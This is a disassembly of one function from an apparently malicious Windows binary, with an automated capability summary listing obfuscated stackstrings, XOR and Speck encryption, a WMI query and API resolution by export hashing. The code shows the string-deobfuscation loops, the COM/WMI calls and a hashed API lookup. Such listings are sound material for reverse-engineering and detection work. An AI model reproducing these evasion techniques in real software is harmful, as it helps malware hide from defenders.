Function at 0x435d40
Capabilities:
Connect to wmi namespace via wbemlocator
Contain obfuscated stackstrings
Encode data using xor
Encrypt data using speck
Get http document via iwebbrowser2
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0xa0
mov eax, dword [0x44ac34]
mov dword [esp + 0xc], 0x316b3f1b
mov dword [esp + 0x10], 0x354733bb
mov dword [esp + 0x14], 0x49513740
mov dword [esp + 0x18], 0x4d0e4b37
mov dword [esp + 0x1c], 0x41354f3e
mov dword [esp + 0x20], 0x45254336
mov dword [esp + 0x24], 0x59464763
xor ecx, ecx
nop
nop
movzx edx, byte [esp + ecx + 0xc]
mov esi, 0x3b6754a
sub esi, ecx
or esi, edx
mov edi, 0x4a
sub edi, ecx
and edi, edx
xor edi, esi
lea esi, [ecx + 0x4498ab5]
and esi, edi
add esi, esi
sub esi, ecx
lea edi, [esi + 0x4b]
mov ebx, 0xb4
sub ebx, esi
and ebx, edx
not edx
and edx, edi
sub ebx, edx
add bl, 0x77
mov byte [esp + ecx + 0xc], bl
mov edx, ecx
and edx, 1
mov esi, ecx
or esi, 0xfffffffe
not ecx
or ecx, 1
and ecx, esi
not ecx
lea ecx, [ecx + edx*2]
cmp ecx, 0x1c
jb 0x435d90
lea ecx, [esp + 0x50]
lea esi, [esp + 0x8c]
lea ebx, [esp + 0xc]
push ecx
push 8
push esi
push 0xd
push ebx
push 0
call eax
test eax, eax
jns 0x435e12
mov dword [esp + 0x8c], 0x3a0043
mov dword [esp + 0x90], 0x5c
mov dword [esp + 0x5c], 0
mov dword [esp + 0x58], 0
mov dword [esp + 0x54], 0
mov dword [esp + 0x50], 0
mov dword [esp + 0x4c], 0
lea eax, [esp + 0x4c]
push eax
push 0x442aa8
push 1
push 0
push 0x442ab8
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
mov edi, dword [ebp + 8]
js 0x4363e6
mov dword [esp + 0xc], 0x8fdd89de
mov dword [esp + 0x10], 0x83d68ddf
mov dword [esp + 0x14], 0x87c1812c
mov dword [esp + 0x18], 0x9bc785dd
mov dword [esp + 0x1c], 0x9fe89932
mov word [esp + 0x20], 0x9d9c
mov dword [esp + 0x22], 0
mov byte [esp + 0x26], 0
xor eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx ecx, byte [esp + eax + 0xc]
lea edx, [eax + 0x121463a2]
and edx, ecx
add ecx, eax
add ecx, 0x121463a2
add edx, edx
sub ecx, edx
add cl, 0xd6
mov byte [esp + eax + 0xc], cl
mov ecx, eax
xor ecx, 0xd38c7ca
and eax, 0xa
lea eax, [ecx + eax*2]
add eax, 0xf2c73837
cmp eax, 0x1b
jb 0x435eb0
push ebx
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov edi, ebx
mov ebx, eax
mov eax, dword [esp + 0x4c]
mov ecx, dword [eax]
lea edx, [esp + 0x48]
push edx
push 0
push 0
push 0
push 0
push 0
push 0
mov dword [esp + 0x90], ebx
push ebx
mov ebx, edi
push eax
call dword [ecx + 0xc]
test eax, eax
mov edi, dword [ebp + 8]
js 0x4363d2
push 0
push 0
push 3
push 3
push 0
push 0
push 0xa
push dword [esp + 0x64]
call dword [sym.imp.ole32.dll_CoSetProxyBlanket]
test eax, eax
js 0x4363c8
mov dword [esp + 0xc], 0x43f341f7
mov dword [esp + 0x10], 0x47464508
mov word [esp + 0x14], 0
mov eax, 0x6c
xor ecx, ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov esi, eax
xor esi, 0xfc
mov edx, ecx
and edx, 6
sub edx, esi
xor dl, byte [esp + eax - 0x60]
add dl, 0xd0
mov byte [esp + eax - 0x60], dl
inc eax
add ecx, 2
cmp eax, 0x76
jne 0x435f70
push ebx
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov dword [esp + 0x60], eax
mov dword [esp + 0xc], 0x3470153
mov dword [esp + 0x10], 0x7430548
mov dword [esp + 0x14], 0xb5e094b
mov dword [esp + 0x18], 0xf240d2c
mov dword [esp + 0x1c], 0x13541130
mov dword [esp + 0x20], 0x17591546
mov dword [esp + 0x24], 0x1b3a1955
mov dword [esp + 0x28], 0x1f771d4b
mov dword [esp + 0x2c], 0x2311214e
mov dword [esp + 0x30], 0x27792516
mov dword [esp + 0x34], 0x2b63296a
mov dword [esp + 0x38], 0x2f7d2d63
mov word [esp + 0x3c], 0x3130
mov dword [esp + 0x3e], 0
mov byte [esp + 0x42], 0
xor eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edx, byte [esp + eax + 0xc]
mov esi, eax
and esi, edx
mov edi, eax
not edi
and edi, edx
mov ecx, eax
xor ecx, edx
sub ecx, edx
add ecx, esi
or ecx, edi
mov byte [esp + eax + 0xc], cl
mov ecx, eax
xor ecx, 0x7ffffffe
mov edx, eax
or edx, 1
and edx, ecx
xor eax, 1
lea eax, [eax + edx*2]
cmp eax, 0x37
jb 0x436020
push ebx
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov esi, dword [esp + 0x48]
mov ecx, dword [esi]
lea edx, [esp + 0x6c]
push edx
push 0
push 0x30
mov dword [esp + 0x7c], eax
push eax
push dword [esp + 0x70]
push esi
call dword [ecx + 0x50]
test eax, eax
mov edi, dword [ebp + 8]
js 0x4363af
mov dword [esp + 0x64], 0
mov eax, dword [esp + 0x6c]
mov ecx, dword [eax]
lea edx, [esp + 0x64]
lea esi, [esp + 0x68]
push edx
push esi
push 1
push 0xffffffffffffffff
push eax
call dword [ecx + 0x10]
test eax, eax
js 0x4363a5
cmp eax, 1
je 0x4363a5
cmp dword [esp + 0x64], 0
je 0x4363a5
lea eax, [esp + 0x78]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantClear]
mov eax, dword [esp + 0x68]
mov dword [esp + 0xc], 0x21b92749
mov dword [esp + 0x10], 0x5db923b2
mov dword [esp + 0x14], 0x59ca5f3f
mov dword [esp + 0x18], 0x55d55b2e
mov dword [esp + 0x1c], 0x513457c3
mov dword [esp + 0x20], 0x4dc053cf
mov dword [esp + 0x24], 0x4f4c
mov ecx, 0x14608ba
mov edx, 0xb9f746
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx ebx, byte [esp + ecx - 0x14608ae]
mov edi, edx
and edi, 0xa07364
mov esi, edx
or esi, 0xfe598c9b
add esi, ecx
or esi, edi
mov edi, ebx
xor edi, 0x9b
xor ebx, 0xfe598c9b
or ebx, edi
xor ebx, esi
not ebx
mov esi, ebx
and esi, 0x62
or ebx, 0x62
add ebx, esi
inc bl
mov byte [esp + ecx - 0x14608ae], bl
inc ecx
dec edx
cmp ecx, 0x14608d6
jne 0x436120
mov ecx, dword [eax]
push 0
push 0
lea esi, [esp + 0x80]
push esi
push 0
lea ebx, [esp + 0x1c]
push ebx
push eax
call dword [ecx + 0x10]
test eax, eax
js 0x436391
cmp word [esp + 0x78], 8
jne 0x436391
mov esi, dword [esp + 0x80]
movzx edi, word [esi]
test di, di
je 0x4361f4
lea eax, [esi + 2]
mov dword [esp + 4], 0
mov ecx, edi
jmp 0x4361cf
inc dword [esp + 4]
movzx ecx, word [eax]
add eax, 2
test cx, cx
je 0x4361fc
cmp cx, 0x7f
jbe 0x4361c0
movzx edx, cx
cmp edx, 0x7ff
ja 0x4361e7
add dword [esp + 4], 2
jmp 0x4361c4
cmp cx, 0xffff
je 0x4361c4
add dword [esp + 4], 3
jmp 0x4361c4
mov dword [esp + 4], 0
mov eax, dword [esp + 4]
inc eax
push eax
call fcn.0040c9f0
add esp, 4
mov dword [esp + 0x44], eax
cmp dword [esp + 4], 0
je 0x436343
mov eax, dword [esp + 0x44]
test di, di
je 0x436343
mov ecx, dword [esp + 4]
mov eax, dword [esp + 0x44]
nop
nop
movzx edx, di
lea edi, [esi + 2]
mov dword [esp + 8], edi
cmp dx, 0x7f
ja 0x436250
lea edi, [eax + 1]
mov byte [eax], dl
jmp 0x436277
cmp edx, 0x7ff
ja 0x436296
cmp ecx, 2
jb 0x436296
mov ebx, edx
shr ebx, 6
add bl, 0xc0
mov byte [eax], bl
lea ebx, [esp + 0xc]
and dl, 0x3f
or dl, 0x80
lea edi, [eax + 2]
mov byte [eax + 1], dl
mov esi, dword [esp + 8]
add ecx, eax
sub ecx, edi
mov eax, edi
movzx edi, word [esi]
test di, di
je 0x436343
test ecx, ecx
jne 0x436230
jmp 0x436343
mov edi, edx
and edi, 0xfc00
cmp edi, 0xd800
jne 0x4362f6
cmp ecx, 4
jb 0x4362f6
movzx edi, word [esi + 2]
add esi, 4
shl edx, 0xa
lea ebx, [edx + edi]
add ebx, 0xfca02400
mov edx, ebx
shr edx, 0x12
add dl, 0xf0
mov byte [eax], dl
mov edx, ebx
shr edx, 0xc
and dl, 0x3f
or dl, 0x80
mov byte [eax + 1], dl
shr ebx, 6
and bl, 0x3f
or bl, 0x80
mov byte [eax + 2], bl
lea ebx, [esp + 0xc]
mov edx, edi
and dl, 0x3f
or dl, 0x80
lea edi, [eax + 4]
mov byte [eax + 3], dl
jmp 0x43627b
movzx esi, di
cmp esi, 0xdc00
jne 0x43630a
mov esi, dword [esp + 8]
jmp 0x436281
cmp ecx, 3
jb 0x43633c
mov ebx, edx
shr ebx, 0xc
or bl, 0xe0
mov byte [eax], bl
mov ebx, edx
shr ebx, 6
and bl, 0x3f
or bl, 0x80
mov byte [eax + 1], bl
lea ebx, [esp + 0xc]
and dl, 0x3f
or dl, 0x80
lea edi, [eax + 3]
mov byte [eax + 2], dl
jmp 0x436277
mov edi, eax
jmp 0x436277
mov byte [eax], 0
mov eax, 3
sub eax, dword [esp + 4]
cmp eax, 0xfffffffd
jae 0x436359
mov eax, 0xfffffffc
add eax, dword [esp + 4]
shr eax, 2
cmp eax, 3
lea esi, [esp + 0x78]
jb 0x43636e
mov eax, 3
lea eax, [eax*4 + 4]
push eax
mov edi, dword [esp + 0x48]
push edi
lea eax, [esp + 0x58]
push eax
call fcn.0040ca20
add esp, 0xc
push edi
call fcn.0040ca00
add esp, 4
push esi
call dword [sym.imp.OLEAUT32.dll_VariantCopy]
mov eax, dword [esp + 0x68]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov edi, dword [ebp + 8]
mov eax, dword [esp + 0x6c]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov esi, dword [sym.imp.OLEAUT32.dll_SysStringLen]
push dword [esp + 0x60]
call esi
push dword [esp + 0x70]
call esi
lea esi, [esp + 0x8c]
mov eax, dword [esp + 0x48]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
push dword [esp + 0x74]
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov eax, dword [esp + 0x4c]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov dword [esp + 0xc], 0
push 0x72a7c387
push dword [0x44ac2c]
call fcn.0043e240
add esp, 8
push 0
push 0
push 0
push 0
push ebx
push 0
push 0
push esi
call eax
test eax, eax
je 0x4365ce
mov eax, dword [esp + 0xc]
mov ecx, eax
and ecx, 0x1a5845
mov edx, eax
or eax, 0x1a5845
imul eax, ecx
xor ecx, 0x1a5845
and edx, 0xffe5a7ba
imul edx, ecx
add eax, edx
add eax, 0xebde8a13
mov dword [esp + 0x50], eax
mov esi, 0xfffffff7
push 0x10
push 9
push edi
push eax
call fcn.0041d870
add esp, 0x10
nop
nop
nop
nop
cmp byte [eax + esi + 9], 0
lea esi, [esi + 1]
jne 0x436460
test esi, esi
je 0x43647e
add eax, esi
neg esi
push esi
push 0x30
push eax
call fcn.0040ca70
add esp, 0xc
xor eax, eax
cmp dword [esp + 0x54], 0
setne al
mov eax, dword [esp + eax*4 + 0x50]
mov ecx, eax
and ecx, 0x1a5845
mov edx, eax
or eax, 0x1a5845
imul eax, ecx
xor ecx, 0x1a5845
and edx, 0xffe5a7ba
imul edx, ecx
add eax, edx
add eax, 0xebde8a13
lea ecx, [edi + 8]
mov dword [esp + 0x54], eax
mov esi, 0xfffffff7
push 0x10
push 9
push ecx
push eax
call fcn.0041d870
add esp, 0x10
nop
nop
cmp byte [eax + esi + 9], 0
lea esi, [esi + 1]
jne 0x4364d0
test esi, esi
je 0x4364ee
add eax, esi
neg esi
push esi
push 0x30
push eax
call fcn.0040ca70
add esp, 0xc
xor eax, eax
cmp dword [esp + 0x58], 0
setne al
mov eax, dword [esp + eax*4 + 0x54]
mov ecx, eax
and ecx, 0x1a5845
mov edx, eax
or eax, 0x1a5845
imul eax, ecx
xor ecx, 0x1a5845
and edx, 0xffe5a7ba
imul edx, ecx
add eax, edx
add eax, 0xebde8a13
lea ecx, [edi + 0x10]
mov dword [esp + 0x58], eax
mov esi, 0xfffffff7
push 0x10
push 9
push ecx
push eax
call fcn.0041d870
add esp, 0x10
nop
nop
cmp byte [eax + esi + 9], 0
lea esi, [esi + 1]
jne 0x436540
test esi, esi
je 0x43655e
add eax, esi
neg esi
push esi
push 0x30
push eax
call fcn.0040ca70
add esp, 0xc
add edi, 0x18
xor eax, eax
cmp dword [esp + 0x5c], 0
setne al
mov eax, dword [esp + eax*4 + 0x58]
mov ecx, eax
and ecx, 0x1a5845
mov edx, eax
or eax, 0x1a5845
imul eax, ecx
xor ecx, 0x1a5845
and edx, 0xffe5a7ba
imul edx, ecx
add eax, edx
add eax, 0xebde8a13
mov dword [esp + 0x5c], eax
mov esi, 0xfffffff7
push 0x10
push 9
push edi
push eax
call fcn.0041d870
add esp, 0x10
nop
nop
cmp byte [eax + esi + 9], 0
lea esi, [esi + 1]
jne 0x4365b0
test esi, esi
je 0x4365ce
add eax, esi
neg esi
push esi
push 0x30
push eax
call fcn.0040ca70
add esp, 0xc
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret